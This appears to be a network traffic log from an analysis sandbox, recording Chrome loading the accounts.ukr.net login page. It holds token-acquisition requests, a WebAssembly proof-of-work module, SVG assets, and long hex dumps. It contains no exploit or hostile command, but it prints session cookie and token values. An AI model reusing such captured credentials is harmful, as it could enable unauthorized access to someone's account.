2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49763	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	702	OUT	POST /api/v1/token/verification/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 9 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:06 UTC	9	OUT	Data Raw: 7b 22 75 69 64 22 3a 30 7d Data Ascii: {"uid":0}
2024-10-26 11:49:06 UTC	179	IN	HTTP/1.1 599 UNKNOWN Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: application/json Content-Length: 27 Connection: close X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:06 UTC	27	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 69 6e 76 61 6c 69 64 5f 73 65 73 73 69 6f 6e 22 7d Data Ascii: {"error":"invalid_session"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49762	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	816	OUT	POST /api/v1/token/analytics/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 126 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:06 UTC	126	OUT	Data Raw: 7b 22 63 6c 69 65 6e 74 5f 61 70 70 6c 69 63 61 74 69 6f 6e 5f 69 64 22 3a 22 36 44 32 46 6a 41 41 41 41 41 43 55 77 43 48 73 76 68 63 52 31 4c 49 79 51 36 35 35 39 39 48 74 2d 50 73 46 72 31 59 43 4e 55 66 68 30 2d 39 63 5f 49 79 45 74 77 3a 77 72 6f 48 30 75 59 67 30 38 57 64 4a 31 4c 5a 71 75 45 6c 4b 42 34 6d 4f 46 52 79 52 30 4c 5a 34 59 69 6c 66 4d 6f 66 5f 46 45 22 7d Data Ascii: {"client_application_id":"6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE"}
2024-10-26 11:49:06 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: application/json Content-Length: 99 Connection: close Expires: Sat, 26 Oct 2024 11:49:05 GMT Cache-Control: no-cache X-Served-By: 127.0.0.1:10000 X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:06 UTC	99	IN	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 22 4a 37 57 67 66 38 52 31 59 66 4a 64 39 33 58 55 43 42 31 36 76 4d 74 49 68 50 56 37 39 63 51 69 64 4b 45 6e 39 54 33 55 33 38 59 3a 48 4c 44 7a 46 43 5f 31 30 65 2d 38 72 56 76 6f 6e 4c 44 39 7a 33 43 45 4f 34 46 76 2d 59 4b 34 6c 37 5a 37 51 42 53 6e 6b 63 6b 22 7d Data Ascii: {"token":"J7Wgf8R1YfJd93XUCB16vMtIhPV79cQidKEn9T3U38Y:HLDzFC_10e-8rVvonLD9z3CEO4Fv-YK4l7Z7QBSnkck"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49764	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	569	OUT	GET /login/assets/assembly-vn6BflkY.wasm HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login/js/pow-worker-wasm.js?ab3ac7fc Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:06 UTC	342	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: application/wasm Content-Length: 165703 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-28747" Expires: Sat, 09 Nov 2024 11:49:06 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:06 UTC	16042	IN	Data Raw: 00 61 73 6d 01 00 00 00 01 aa 01 18 60 06 7f 7f 7f 7f 7f 7f 00 60 01 7f 00 60 03 7f 7f 7f 00 60 02 7f 7f 00 60 03 7f 7f 7f 01 7f 60 00 00 60 04 7f 7f 7f 7f 00 60 05 7f 7f 7f 7f 7f 00 60 06 7f 7f 7f 7f 7f 7f 01 7f 60 01 7f 01 7f 60 00 01 7f 60 01 7e 01 7e 60 02 7f 7f 01 7f 60 02 7f 7f 01 7f 60 02 7f 7e 01 7f 60 04 7f 7f 7f 7f 01 7f 60 05 7f 7f 7f 7f 7f 01 7f 60 03 7e 7f 7f 01 7f 60 02 7e 7f 01 7f 60 06 7f 7c 7f 7f 7f 7f 01 7f 60 02 7c 7f 01 7c 60 08 7f 7f 7f 7f 7f 7f 7f 7f 00 60 07 7f 7f 7f 7f 7f 7f 7f 00 60 07 7f 7f 7f 7f 7f 7f 7f 01 7f 02 d1 05 20 03 65 6e 76 0e 44 59 4e 41 4d 49 43 54 4f 50 5f 50 54 52 03 7f 00 03 65 6e 76 08 53 54 41 43 4b 54 4f 50 03 7f 00 03 65 6e 76 09 53 54 41 43 4b 5f 4d 41 58 03 7f 00 03 65 6e 76 05 61 62 6f 72 74 00 01 03 65 6e Data Ascii: asm````````````~~```~```~`~`\|`\|\|``` envDYNAMICTOP_PTRenvSTACKTOPenvSTACK_MAXenvaborten
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 04 41 28 6c 6a 41 02 10 39 20 05 28 02 00 41 01 6a 05 41 01 0b 21 00 20 03 41 00 36 02 00 20 05 20 00 36 02 00 0b f5 05 02 09 7f 01 7e 23 06 21 09 23 06 41 e0 0a 6a 24 06 20 00 28 02 74 04 40 20 09 24 06 0f 0b 20 09 21 05 20 09 41 f8 01 6a 21 0a 20 09 41 e0 01 6a 21 08 20 02 41 02 47 ad 21 0c 20 02 04 40 20 05 20 00 28 02 60 41 ff 9f 0b 6a 41 80 a0 0b 6e 22 03 36 02 00 20 00 41 e4 00 6a 21 0b 41 00 21 02 41 00 21 06 03 40 20 03 41 01 4b 04 40 03 40 20 05 20 02 41 01 6a 22 02 41 02 74 6a 20 0c a7 41 01 71 20 03 6a 22 04 41 01 76 22 03 36 02 00 20 0c 42 01 86 42 01 84 21 0c 20 04 41 03 4b 0d 00 0b 0b 20 0b 28 02 00 20 06 41 14 6c 6a 21 03 20 02 41 00 4a 22 04 20 0c 42 01 83 42 00 51 71 04 40 03 40 20 00 10 4f 20 00 20 0a 20 02 41 14 6c 6a 41 14 10 50 20 00 Data Ascii: A(ljA9 (AjA! A6 6~#!#Aj$ (t@ $ ! Aj! Aj! AG! @ (`AjAn"6 Aj!A!A!@ AK@@ Aj"Atj Aq j"Av"6 BB! AK ( Alj! AJ" BBQq@@ O AljAP
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 20 02 6a 22 03 20 01 41 7f 73 72 20 02 73 6a 22 04 41 0a 74 20 04 41 16 76 72 20 03 6a 22 04 6a 20 08 41 82 fd cd ba 7f 6a 20 03 6a 20 15 41 a1 a3 a0 f0 04 6a 20 02 6a 20 0e 41 94 86 85 98 7a 6a 20 01 6a 20 04 20 02 41 7f 73 72 20 03 73 6a 22 01 41 0f 74 20 01 41 11 76 72 20 04 6a 22 01 20 03 41 7f 73 72 20 04 73 6a 22 02 41 15 74 20 02 41 0b 76 72 20 01 6a 22 02 20 04 41 7f 73 72 20 01 73 6a 22 03 41 06 74 20 03 41 1a 76 72 20 02 6a 22 03 20 01 41 7f 73 72 20 02 73 6a 22 04 41 0a 74 20 04 41 16 76 72 20 03 6a 21 04 20 12 41 91 a7 9b dc 7e 6a 20 02 6a 20 0b 41 bb a5 df d6 02 6a 20 01 6a 20 04 20 02 41 7f 73 72 20 03 73 6a 22 01 41 0f 74 20 01 41 11 76 72 20 04 6a 22 01 20 03 41 7f 73 72 20 04 73 6a 21 02 20 00 20 03 20 19 6a 36 02 00 20 18 20 01 20 18 28 Data Ascii: j" Asr sj"At Avr j"j Aj j Aj j Azj j Asr sj"At Avr j" Asr sj"At Avr j" Asr sj"At Avr j" Asr sj"At Avr j! A~j j Aj j Asr sj"At Avr j" Asr sj! j6 (
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 20 02 2c 00 00 41 06 72 3a 00 00 20 04 20 03 41 7f 6a 6a 22 02 20 02 2c 00 00 41 80 7f 72 3a 00 00 20 00 20 04 20 03 10 62 20 05 41 80 80 80 80 78 36 02 00 0b 20 01 45 04 40 0f 0b 20 01 20 00 41 e4 00 20 03 41 01 76 6b 10 d3 01 1a 0b a3 02 02 05 7f 01 7e 20 00 41 c0 00 6a 22 04 29 03 00 22 08 a7 41 3f 71 21 03 20 04 20 08 20 02 ad 7c 37 03 00 20 03 04 40 20 00 20 03 6a 20 01 41 c0 00 20 03 6b 22 03 20 02 4b 22 04 04 7f 20 02 05 20 03 0b 10 d3 01 1a 20 04 04 40 0f 05 20 00 41 c8 00 6a 20 00 10 65 20 01 20 03 6a 21 01 20 02 20 03 6b 21 02 0b 0b 20 02 41 3f 4b 04 40 20 00 41 c8 00 6a 21 05 20 01 20 02 41 40 6a 22 06 41 40 71 22 07 41 c0 00 6a 6a 21 04 03 40 20 05 20 01 41 03 71 04 7f 20 00 20 01 29 00 00 37 00 00 20 00 20 01 29 00 08 37 00 08 20 00 20 01 29 Data Ascii: ,Ar: Ajj" ,Ar: b Ax6 E@ A Avk~ Aj")"A?q! \|7 @ j A k" K" @ Aj e j! k! A?K@ Aj! A@j"A@q"Ajj!@ Aq )7 )7 )
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 05 6a 20 03 6a 20 11 41 11 74 20 11 41 0f 76 72 22 05 20 02 73 20 08 73 6a 20 0a 41 08 74 20 0a 41 18 76 72 6a 21 03 20 16 41 99 f3 89 d4 05 6a 20 02 6a 20 08 41 11 74 20 08 41 0f 76 72 22 02 20 05 73 20 0a 73 6a 20 03 41 0e 74 20 03 41 12 76 72 6a 21 08 20 21 41 99 f3 89 d4 05 6a 20 05 6a 20 0a 41 11 74 20 0a 41 0f 76 72 22 05 20 02 73 20 03 73 6a 20 08 41 07 74 20 08 41 19 76 72 6a 21 0a 20 24 41 99 f3 89 d4 05 6a 20 02 6a 20 03 41 11 74 20 03 41 0f 76 72 22 02 20 05 73 20 08 73 6a 20 0a 41 0c 74 20 0a 41 14 76 72 6a 21 03 20 0e 28 02 00 41 99 f3 89 d4 05 6a 20 05 6a 20 08 41 11 74 20 08 41 0f 76 72 22 05 20 02 73 20 0a 73 6a 20 03 41 09 74 20 03 41 17 76 72 6a 21 0e 20 27 41 99 f3 89 d4 05 6a 20 02 6a 20 0a 41 11 74 20 0a 41 0f 76 72 22 02 20 05 73 20 Data Ascii: j j At Avr" s sj At Avrj! Aj j At Avr" s sj At Avrj! !Aj j At Avr" s sj At Avrj! $Aj j At Avr" s sj At Avrj! (Aj j At Avr" s sj At Avrj! 'Aj j At Avr" s
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 20 01 41 7f 47 20 02 41 7f 47 71 71 21 05 20 02 20 01 6b 22 02 20 00 41 28 6a 4b 22 04 04 40 20 02 21 03 0b 20 01 41 7f 46 20 04 41 01 73 72 20 05 41 01 73 72 45 0d 01 0b 0c 01 0b 41 f8 d5 03 41 f8 d5 03 28 02 00 20 03 6a 22 02 36 02 00 20 02 41 fc d5 03 28 02 00 4b 04 40 41 fc d5 03 20 02 36 02 00 0b 02 40 41 e0 d2 03 28 02 00 22 04 04 40 41 88 d6 03 21 02 02 40 02 40 03 40 20 01 20 02 28 02 00 22 05 20 02 41 04 6a 22 07 28 02 00 22 06 6a 46 0d 01 20 02 28 02 08 22 02 0d 00 0b 0c 01 0b 20 02 28 02 0c 41 08 71 45 04 40 20 04 20 01 49 20 04 20 05 4f 71 04 40 20 07 20 06 20 03 6a 36 02 00 41 d4 d2 03 28 02 00 21 05 41 00 20 04 41 08 6a 22 02 6b 41 07 71 21 01 41 e0 d2 03 20 04 20 02 41 07 71 04 7f 20 01 05 41 00 22 01 0b 6a 22 02 36 02 00 41 d4 d2 03 20 05 Data Ascii: AG AGqq! k" A(jK"@ ! AF Asr AsrEAA( j"6 A(K@A 6@A("@A!@@@ (" Aj"("jF (" (AqE@ I Oq@ j6A(!A Aj"kAq!A Aq A"j"6A
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 Data Ascii:
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: b6 9f 7e ea 68 5e cd c7 b1 83 94 19 90 1c b0 6c 37 95 c2 d5 3c e9 3d 13 ad b9 2a df 2e d5 ae 84 78 a0 c0 12 f5 60 2e c9 10 62 e3 a3 86 3d bc ce 51 39 16 9b 9d 26 35 fa b5 cd d0 2a 6e 7d 0c 33 57 7f d8 97 62 e8 59 e7 b0 8d 89 21 f2 8e 29 7e aa a5 d1 29 00 00 55 45 1b 06 b5 e1 8a c0 8b 3a 70 92 6c 2b 1c c3 c2 42 ef 25 af 6b 59 cc 94 56 04 54 22 db 73 1d 0a 9a 17 c4 d9 f9 a0 b6 04 60 3c 3d ae a2 af fd ef c4 96 94 b4 5b 07 c8 f7 e3 d4 1c 1d 14 c7 c5 9c 34 55 8e 21 38 16 bd 78 6a 24 50 f8 68 15 f1 b2 29 bc 02 95 fa bc fa ed 1b 05 23 da f2 e5 6c 79 7c 53 93 dc b0 28 e1 aa ae 29 4b ee a0 3d 49 3a d7 95 68 41 2c 6b df b5 37 7f 2d 12 25 bd ab fc b1 c4 5d 10 58 0b 81 70 90 2a 88 f7 37 dd 0f e1 5c 3f 8a 51 b5 ca 4d 52 5b 25 51 84 87 85 9e 3c e2 34 bd 19 81 82 29 40 Data Ascii: ~h^l7<=.x`.b=Q9&5n}3WbY!)~)UE:pl+B%kYVT"s`<=[4U!8xj$Ph)#ly\|S()K=I:hA,k7-%]Xp*7\?QMR[%Q<4)@
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 9c 08 25 d6 94 9c 4a 1e 1e ee 3c 66 f0 1e 78 43 43 61 86 52 22 43 11 c7 c7 b1 93 fc 76 c7 3b fc fc 4f e5 2b b3 fc d7 04 04 24 08 14 20 04 10 51 51 e3 a2 08 b2 51 59 99 99 25 2f c7 bc 99 5e 6d 6d 22 da c4 4f 6d a9 0d 0d 65 1a 39 68 0d 34 fa fa 79 e9 35 83 fa cf df df 69 a3 84 b6 df 5b 7e 7e a9 fc 9b d7 7e e5 24 24 19 48 b4 3d 24 90 3b 3b fe 76 d7 c5 3b ec ab ab 9a 4b 3d 31 ab 96 ce ce f0 81 d1 3e ce 1f 11 11 99 22 55 88 11 44 8f 8f 83 03 89 0c 8f 06 4e 4e 04 9c 6b 4a 4e 25 b7 b7 66 73 51 d1 b7 e6 eb eb e0 cb 60 0b eb 8b 3c 3c c1 78 cc fd 3c f0 81 81 fd 1f bf 7c 81 3e 94 94 40 35 fe d4 94 6a f7 f7 1c f3 0c eb f7 fb b9 b9 18 6f 67 a1 b9 de 13 13 8b 26 5f 98 13 4c 2c 2c 51 58 9c 7d 2c b0 d3 d3 05 bb b8 d6 d3 6b e7 e7 8c d3 5c 6b e7 bb 6e 6e 39 dc cb 57 6e a5 Data Ascii: %J<fxCCaR"Cv;O+$ QQQY%/^mm"Ome9h4y5i[~~~$$H=$;;v;K=1>"UDNNkJN%fsQ`<<x<\|>@5jog&_L,,QX},k\knn9Wn
2024-10-26 11:49:07 UTC	16384	IN	Data Raw: 52 12 80 0a fc f0 5b 11 56 d8 d7 3c 9d 5f 3f b4 16 65 30 c2 47 1c 23 a1 7e 20 49 f1 95 a7 09 52 d8 cc b3 34 54 fe ae 67 4e 92 83 2c ac cb 62 66 61 d1 ed 5e aa 81 e6 84 6b d2 57 5d c4 5c 46 fa a8 c3 3a 7e c6 0c 7c bf a1 9a 8a e1 6f 0a 2f c3 0d c0 2c b2 69 03 28 3d 4f 55 4e 99 d3 80 f4 68 e6 f5 cf ad 65 b2 8e 3a 31 98 26 83 09 8a 56 bd 6a ae c8 4b 2b 6d f5 69 c8 ea 17 0f c7 b6 2e 77 3c 34 41 9f 42 07 1d ab 50 6f 6a 82 7c 09 a2 fe 83 c2 12 19 99 58 18 ce 39 48 44 e4 d5 35 86 2d ff b1 d0 65 17 7f 5a 86 b1 9f 6d 32 20 28 e5 59 e1 ad 90 00 49 71 3c 75 98 8b dd 9d da 91 a6 a5 bb 82 03 0d 30 c9 04 89 00 b0 6c 08 bd d3 69 6e a7 e7 d4 24 d0 4f 24 05 0c 5e 1a 10 cb 7d 94 6a 7b f7 40 e8 03 50 0c 7d 1f 0f 37 7c ed 45 52 80 3f 3d 5e e0 0e 88 06 79 35 cd bf ba 97 c6 7e Data Ascii: R[V<_?e0G#~ IR4TgN,bfa^kW]\F:~\|o/,i(=OUNhe:1&VjK+mi.w<4ABPoj\|X9HD5-eZm2 (YIq<u0lin$O$^}j{@P}7\|ER?=^y5~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49765	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	817	OUT	POST /api/v1/token/verification/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 9 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:06 UTC	9	OUT	Data Raw: 7b 22 75 69 64 22 3a 30 7d Data Ascii: {"uid":0}
2024-10-26 11:49:06 UTC	179	IN	HTTP/1.1 599 UNKNOWN Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: application/json Content-Length: 27 Connection: close X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:06 UTC	27	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 69 6e 76 61 6c 69 64 5f 73 65 73 73 69 6f 6e 22 7d Data Ascii: {"error":"invalid_session"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49766	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	659	OUT	GET /login/assets/illustration-support-a8ca1214.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:06 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: image/svg+xml Content-Length: 12470 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-30b6" Expires: Sat, 09 Nov 2024 11:49:06 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:06 UTC	12470	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 64 65 66 73 3e 3c 70 61 74 68 20 69 64 3d 22 61 22 20 64 3d 22 4d 34 20 30 68 32 36 32 61 34 20 34 20 30 20 30 20 31 20 34 20 34 76 31 38 35 48 30 56 34 61 34 20 34 20 30 20 30 20 31 20 34 2d 34 22 2f 3e 3c 6d 61 73 6b 20 69 64 3d 22 62 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 3e 3c 75 73 65 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 61 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 2f 3e 3c 2f 6d 61 73 6b 3e 3c 2f 64 65 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><path id="a" d="M4 0h262a4 4 0 0 1 4 4v185H0V4a4 4 0 0 1 4-4"/><mask id="b" fill="#fff"><use xlink:href="#a" fill-rule="evenodd"/></mask></de

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49769	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:06 UTC	503	OUT	GET /login/assets/illustration-big-files-db9d7440.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:07 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:06 GMT Content-Type: image/svg+xml Content-Length: 9055 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-235f" Expires: Sat, 09 Nov 2024 11:49:06 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:07 UTC	9055	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 4d 33 39 37 2e 36 38 38 20 34 35 35 2e 35 48 32 39 30 2e 31 37 33 7a 4d 34 36 30 2e 32 39 32 20 34 35 35 2e 35 48 34 32 38 2e 39 39 7a 4d 31 35 32 2e 38 30 36 20 34 35 35 2e 35 48 32 35 2e 32 39 31 7a 4d 31 38 39 2e 35 35 32 20 34 35 35 2e 33 34 68 2d 32 30 2e 34 31 35 7a 4d 34 35 36 2e 39 39 20 32 30 36 2e 38 30 33 6c 34 36 2e 37 32 20 33 37 2e 37 39 33 2d 2e 30 30 31 2e 31 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M397.688 455.5H290.173zM460.292 455.5H428.99zM152.806 455.5H25.291zM189.552 455.34h-20.415zM456.99 206.803l46.72 37.793-.001.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49768	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
